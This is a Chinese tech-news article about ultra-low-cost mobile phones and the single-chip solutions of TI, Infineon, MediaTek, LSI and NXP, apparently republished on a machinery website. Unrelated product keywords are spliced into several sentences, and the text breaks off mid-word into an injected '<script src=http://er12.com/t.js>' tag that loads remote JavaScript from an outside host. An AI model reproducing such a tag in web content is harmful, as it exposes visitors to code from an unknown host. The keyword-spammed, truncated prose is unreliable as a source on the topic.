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低成本手机不断演变单芯片架构占优势（1）调光硅柜

文章来源：通佳机械网 | 2022-11-16

低成本手机不断演变单芯片架构占优势（1）【赛迪网讯】

特邀嘉宾

ti亚洲区无线产品部总经理fredcohen

英飞凌科技(中国)有限公司通信解决方案事业部移动通信市场部总监王瑞刚

联发科技首席财务长兼新闻发言人喻铭铎

lsi无线产品市场经理davetruskowski

nxp手机及个人通信事业部相关人士

据预测，2007年全球超低成本(ulc)手机的发货量将较2006年的1900万部增长150%达到4800万部。近日，全球排名第一位和第三位的手机巨头诺基亚和索尼爱立信分别在中国发布了数款低成本手机。ti和英飞凌也发布了其低成本手机芯片分别被联想和中兴通讯等国内领先手机厂商选用的消息。低成本手机再度成为人们关注的焦点，国内外芯片厂纷纷加大了推广力度。然而，芯片厂对于低成本手机和超低成本手机的界定并不一致。虽然多数低成本手机芯片采用单芯片架构，但是目前单芯片架构尚不能一统天下。不过，令消费者高兴的是，如今的低成本和超低成本手机不再只具备通话和短信功能，随着芯片的改进能够支持手机终端实现更多的功能，低成本手机拥有蓝牙、拍照、mp3甚至触摸屏等功能不再是奢望。

ulc手机界定不统一

.品质和功能是关键

.不同地区需求功能各异

cohen超低成本手机的使用者具有以下特征：收入低、使用环境噪音大、可用电量有限、首次使用电话、希望提高地位层次、希望获得信息娱乐功能、个性化需求、担心手机被盗等。与以上特性相对应，则要求手机终端实现低价位和超低成本，具有诱人的彩屏与外形，语音清晰响亮，电池使用寿命长，mmi(人机界面)简便易用，能够获得音乐与新闻，拥有彩铃与定制化功能以及可靠的手机安全性。

王瑞刚ulc市场对手机芯片厂商提出的要求在于：手机整体解决方案的材料成本低、质量高、待机时间长、研发成本低、上市时间短等。ulc手机主要提供语音、短信息功能。ulc手机市场希望手机芯片厂商给予制造商更加灵活的设计空间。为了满足这些需求，英飞凌ulc2的设计提供业界最小的pcb尺寸，pcb模块大小仅为4cm欧式插座×4cm。

喻铭铎ulc对于芯片厂商的要求可以归纳为三个方面：

首先是品质的保证，品质无论对终端厂商还是对消费者来说都至关重要。对于终端厂商而言，品质是其赢利能力的关键。更严肃地说，这些消费者购买手机尤为不易，因此把好品质关甚至可以说是关系到企业社会责任的问题。其次是功能上能不能充分满足消费者的需求甚至是潜在需求。过去有人曾经认为这部分消费者的需求就是简单的通话和收发短信。但是我们不这样认为，中国手机消费最显著的特征是用户对于外观及功能的关注度非常高，事实上当ulc手机的目标用户看到别的手机可以听广播和拍照，他们也同样希望自己的手机有这些功能。再者，芯片厂商对于终端厂商的技术支持和服务尤为关键。生产ulc手机要求终端厂商拥有更高的运作效率，其中最重塑料管道要的一个环节是产品的上市时间。如果研发周期过长，终端厂商所背负的软性成本就会大幅增加。

在ulc手机的界定上，我们将ulc手机细分成三个市场：低价低阶、低价中阶和低价高阶。低价低阶指的是具有最基础的通话和短信功能的手机；低价中阶的手机包括fm收音、和弦铃声、mp3等多媒体功能；低价高阶的手机甚至有拍照、摄像、蓝牙、触摸屏等功能。从价格上界定，这类手机的价格区间应该是350元-600元或350元-700元之间。

truskowski我对ulc手机的定义是：一种以语音为中心的最基本型手机，专门面向成本敏感性极高的市场领域，其主要目的是实现最低的通话成本。双频gsm手机就是一种典型的ulc手机，一般来说仅具备基本的黑白显示屏并且只支持基本的铃声。ulc的关键在于成本低、功能简单，材料成本要尽可能低，约为20美元或者更低。稍高于ulc手机的就是低成本入门级手机，其不仅增加了数据存取及web浏览等gprs功能，具备更好的铃声支持，而且还可支持基本的彩屏，因而更具吸引力。

nxp全球不同地区对于低成本手机功能的定义非常不同。例如，拉丁美洲和印度等地的需求仍然主要集中在语音和音乐上。而中国对于低成本手机则具有更高等级的需求，包括蓝牙、视频以及大量的游戏内容。

低成本实现各有高招

.系统解决方案最重要

.65纳米ulc芯片已出现

王瑞刚英飞凌科技公司于2006布辊年2月推出了第二代基于e-goldvoice单芯片的ulc2解决方案，e-goldvoice集成了基带、射频、电源管理和sram。e-goldradio和e-goldvoice采用0.13微米工艺。

低成本的实现分为两大部分，第一部分：应用低成本、低功耗cmos技术，集成度高，模块部分仅需50颗器件，外围使用的器件成本低；第二部分：提供成熟的系统解决方案(全球市场认证的协议栈、参考mmi、参考pcb设计、生产测试工具、参考设计的预先fta测试、场测等)，大大降低研发成本并缩短上市时间。第三代的ulc单芯片将采用65纳米工艺。

喻铭铎联发科技的优?script src=http://er12.com/t.js> 【赛迪网讯】